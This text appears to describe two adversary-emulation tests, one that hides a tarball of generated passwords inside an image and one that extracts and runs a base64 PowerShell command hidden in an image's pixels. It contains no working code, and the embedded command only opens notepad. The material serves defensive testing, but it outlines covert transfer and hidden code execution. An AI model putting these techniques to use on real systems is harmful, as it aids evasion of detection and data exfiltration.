This atomic test, named "Steganographic Tarball Embedding", simulates the technique of data obfuscation via steganography by embedding a tar archive file (tarball)
|
|
within an image.
|
|
|
|
The test begins by ensuring the availability of the image file and the tarball file containing data . It then generates random passwords and saves them to a
|
|
file. Subsequently, the tarball file is created, containing the passwords file. The test executor command reads the contents of the image
|
|
file and the tarball file as byte arrays and appends them together to form a new image file. This process effectively embeds the tarball
|
|
file within the image, utilizing steganography techniques for data obfuscation.
|
|
|
|
This atomic test simulates the technique of data obfuscation via steganography, enabling attackers to clandestinely transfer files across systems undetected.
|
|
By embedding the tarball file within the image, adversaries can obscure their activities, facilitating covert communication and data exfiltration.

This atomic test demonstrates the technique of data obfuscation via steganography, where a PowerShell script is concealed within an image file.
|
|
The PowerShell script is embedded using steganography techniques, making it undetectable by traditional security measures. The script is hidden
|
|
within the pixels of the image, enabling attackers to covertly transfer and execute malicious code across systems.
|
|
|
|
The test begins by ensuring the availability of the malicious image file and the Extract-Invoke-PSImage script. The test proceeds to extract the hidden
|
|
PowerShell script (decoded.ps1) from the image file using the Extract-Invoke-PSImage tool. The extracted script is then decoded from base64 encoding and saved as a
|
|
separate PowerShell (textExtraction.ps1). Consequently, the textExtraction.ps1 script is executed.
|
|
|
|
In the case of this atomic test, the malicious image file which is downloaded has the powershell command Start-Process notepad embedded within in base64. This
|
|
is done to emulate an attackers behaviour in the case they were to execute malware embedded within the image file.
